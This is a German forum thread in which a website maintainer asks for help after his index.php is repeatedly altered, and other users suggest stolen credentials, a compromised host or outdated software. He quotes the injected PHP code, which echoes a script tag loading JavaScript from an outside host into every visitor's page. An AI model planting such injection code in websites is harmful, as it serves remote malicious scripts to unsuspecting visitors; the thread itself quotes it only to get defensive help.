"Christmas - the time to fix the computers of your loved ones" « Lord Wyrm

"Virus"/Malware auf Website?

murcielago 16.10.2013 - 10:04 1768 6
Posts

murcielago

Dr. Doom
Avatar
Registered: Oct 2002
Location: *
Posts: 2689
Hi Leute,

die letzten Wochen habe ich immer wieder Probleme, dass auf einer von mir betreuten Website ein Virus (ich weiß nicht genau was es ist) vorhanden ist, der die index.php ändert. Ich kann mir nur technisch nicht erklären, wie das möglich ist.

Aktuell ist es die 2. Art von "Virus".

Code:
<?php
#339810#
if(empty($ma)) {

$ma = "<script type=\"text/javascript\">var gwloaded = false;</script>

<script src=\"http://shinhanvn.com.vn/Uploads/iOVAO5QT.php\" type=\"text/javascript\"></script>";

echo $ma;

}


#/339810#
?>

Diesen shit hat er einfach eingefügt...

Was kann ich tun?

Michi

¯\_(ツ)_/¯
Avatar
Registered: Aug 2000
Location: nö
Posts: 2292
Das ist doch nur Möglich wenn a. der Server davon befallen ist oder b. jemand deine Zugangsdaten hat!?

murcielago

Dr. Doom
Avatar
Registered: Oct 2002
Location: *
Posts: 2689
Eben... ich hab mal dem hoster geschrieben und das passwort geändert.

mr.nice.

differential image maker
Avatar
Registered: Jun 2004
Location: Wien
Posts: 6432
Ist das LAMP-Paket am aktuellen Stand, bzw. ist ein CMS oder sonst eine Software im Einsatz, für die es vielleicht Securityupdates gibt?

Ich hab meine kleine Webseite aus genau so einem Grund offline genommen, ich habe einfach keine Lust mich kontinuierlich um die Sicherheit einer privaten Seite kümmern zu müssen und die Gefahr als Virenschleuder zu enden, nur weil man etwas dynamisches hosten will, war mir dann zu groß.

murcielago

Dr. Doom
Avatar
Registered: Oct 2002
Location: *
Posts: 2689
das ist telekom (a1) business webspace... und nur stinknormale php seiten, kein mysql, nix... :(

Michi

¯\_(ツ)_/¯
Avatar
Registered: Aug 2000
Location: nö
Posts: 2292
ich würde einfach mal testen obs jetzt noch immer auftritt .. wenn nicht wars ein Security Problem bei deinem Passwort und nebenbei mal warten was der Hoster sagt.

murcielago

Dr. Doom
Avatar
Registered: Oct 2002
Location: *
Posts: 2689
Ja, so ist der Plan. Danke für die Hilfe, Leute!
Kontakt | Unser Forum | Über overclockers.at | Impressum | Datenschutz